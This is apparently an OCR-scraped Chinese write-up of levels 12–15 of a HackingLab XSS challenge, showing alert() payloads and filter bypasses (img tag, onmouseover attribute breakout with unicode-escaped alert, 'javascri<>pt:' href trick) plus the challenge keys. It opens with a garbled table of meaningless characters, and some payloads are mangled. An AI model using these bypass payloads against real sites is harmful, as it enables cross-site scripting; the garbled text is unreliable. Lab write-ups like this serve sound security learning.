10	109	6374	200	否下	否	28					
11	110	3920	200	音素	台东	28					
12	112	7354	200	百不	百不	28					
13	112	8702	200	五	五	20					
15	114	3227	200	否	舌	28					
16	115	7124	200	否	否	28					
17	116	6579	200	否	否	28					
18	117	1986	200	告	否	28					
19	118	0335	200	台东	台东	28					
20	120	4024	200	五	五	28					
21	120	0117	200	품	舌	20					
23	122	5590	200	舌	舌	28					
24	123	3199	200	否	否	28					
25	124	4434	200	否	否	28					
26	125	0311	200	否下	否	28					
27	126	9573	200	台东	台系	28					
28 29	127	7201	200	台不	台不	28					
30	129	9253	200	五	否	28					
31	130	0757	200	I 否	I 舌	28					
20	101	0100	000	35	.	00					

第十二关

XSS基础关

分值:50

XSS基础:很容易就可以过关.XSS类题目必须在平台登录才能进行.登录地址请参考左侧<子系统>

Writeup:

在输入框输入xss代码,能弹窗即可获取key

<script>alert(HackingLab)</script>

<script>alert(HackingLat 提交查询 重置

Welcome guest

第十三关

题目:

XSS基础2:简单绕过 分值:100 很容易就可以过关.

Writeup:

xss绕过

过滤了<script>标签,当我们输入<script>会提示XSS_SCRIPT_DETECTED!!!

<script>

Welcome XSS_SCRIPT_DETECTED!!!

利用img标签绕过并弹窗

key is: xss2test2you Welcome

第十四关

题目:

XSS基础2:简单绕过 分值:100 很容易就可以过关.

Writeup: 查看源代码,我们输入payload的位置在value中

1.输入的内容被包含在 value=" 2.过滤了=alert() <script>等

将payload两旁增加单引号',alert利用unicode编码绕过

| alert | Nu | u0061\u006c\u0065\u0072\u | 0074 | | |
|---------|-------|---------------------------|--------------|--------------|------|
| | | | | | |
| | | | | | |
| | | | | | |
| ASCII 转 | Unico | ode Unicode转 ASCII | Unicode 转 中文 | 中文 转 Unicode | 清空结果 |

构造payload,输入到填写框提交。

' onmouseover=\u0061\u006c\u0065\u0072\u0074(HackingLab) id='

此次用的是onmouseover事件,当鼠标触碰到Welcome旁边的选框时,会触发弹窗

| ' onmouseover=\u0061\u0065\u0072\u0074(HackingLab) id='
Welcome
key is: xss3test2youOK_striptag | 提交查询 重置 | | |
|---|---------|------|---|
| 鼠标移动到这 | | | |
| | | | |
| | | | success! |
| | | http | 确定
S://biog.csdn.net/woixin_41924764 |

第十五关

Principle很重要的XSS 分值: 300 原理/原则/理念很重要...不是所有的xss都叫特仑苏... – Take it easy!

Writeup:

看源代码,可以看到我们输入的内容会存在a标签中

```
<meta http-equiv=Content=Type content="text/html;charset=utf=8">
4
          <script type="text/javascript" src=".../xssjs/xss_check.php"></script>
     </head>
      <body>
          <form action="" method="POST">
              <input type="text" name="s" style="width:500px">
              <input type="submit" ><input type="reset">
          </form>
          Welcome <a href='test'>Etit Profile(XSS HERE!)</a>
          <div id="msg" style="color: green;"></div>
<div id="hint" style="color: white"><span style="color: black;">Hint: </!</pre>
      </body>
16 </html>
17 (script type="text/javascript" src="../jquery-2.0.3.js">
18 </script>
```

1.输入的内容会在a标签的href属性中。 2.防御了javascript,alert等 3.<>被转换成了空

a标签中href属性中加入javascript这是最常用的调用的办法 但是我们输入了javascript会被过滤掉 换个思路,<>会被转换成空,那我们在javascript和alert中间加入<>,这也让就绕过字符串限制了

pyaload:

javascri<>pt:aler<>t(HackingLab)

输入payload后提交,点击跳转链接,就能实现弹窗了

javascri<>pt:aler<>t(HackingLab)

Welcome !<u>Edit Profile(XSS HERE!)</u> key is: xss4isnoteasy Hint: